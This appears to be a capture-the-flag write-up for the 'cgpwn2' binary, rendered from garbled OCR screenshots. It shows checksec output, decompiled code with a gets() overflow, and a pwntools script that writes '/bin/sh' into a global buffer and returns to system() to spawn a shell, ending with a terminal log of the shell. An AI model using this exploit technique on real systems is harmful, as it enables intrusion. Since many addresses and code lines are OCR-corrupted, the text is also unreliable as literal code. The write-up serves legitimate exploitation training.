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lwj@ubuntu:~/Desktop/pwn/cgpwn2$ checksec cgpwn2
[#]1 '/home/1lw]/D op/pwn/cgpwn2/cgpwn2'’

Arch: 1386-32-1ittle

RELRO: Partial RELRI

Stack:

NX:

PIE:
Llwj@ubuntu:~/Desktop/pwn/cgpwn2$
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har *hello()

__intle *v@; // eax

int wl; // ebx

unsigned int v2; // ecx

__intle *v3; // eax

__intl6 s; // [esp+l2h] [ebp-26h] BYREF
int v6; // [esp+lah] [ebp-24h] BYREF

vl = &s;
vl = 38;
if ( ((unsigned _ int8)&s & 2) != 8 )

= =8
v =

3
(__intle *)&ve;
vl = 28;

*( DWORD *)&ve[v2 / 2] = 8;
v2 += 4;
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| while ( v2 < (vl & @xFFFFFFFC) };

3| w3 o= &we[v2 S 2];

iAf (vl &2) =8 )

7 *uit+ = 8;

ioAif ((vi &1) =@ )

3 *( BYTE *)v3 = @;

3 puts("please tell me your name"”};

L| fgets{name, 58, stdin);

!l puts("hello,you can leave some message here:™);
il return gets((char *)&s);
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1fint pwn(}
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I3 return system("echoc hehehe™);
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.bss:080488508 public name
.bs5:8808448808 ; char name[52]
.bs5:2384A858 name db 32h dup(?)
.bs5:8804485808 _bss ends

.bss:0884A080
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.text:98848550 sub esp, 18h
Ltext:88848553 mow dword ptr [esp],
Ltext:@83848554 call _system
Ltext:8884855F nop

Ltext 88845560 leave
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from pwn import *

r = process('./cgpwn2’

#r = remote('111.198.29.45',51186)
target = Ox804855A

binsh = 0x804A080

payload = 'a" * 42 + p32(target) + p32(binsh
= r.recvuntil('e\n’

sendline('/bin/sh"

= r.recvuntil(":\n"'
sendline(payload
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Llwj@ubuntu:~/Desktop/pwn/cgpwn2$ python exp.py
[+] Starting local process '.fcgpwn2': pid 13656
[*#] Switching to interactive mode

1s
cgiwnz exp.py peda-session-cgpwn2. txt
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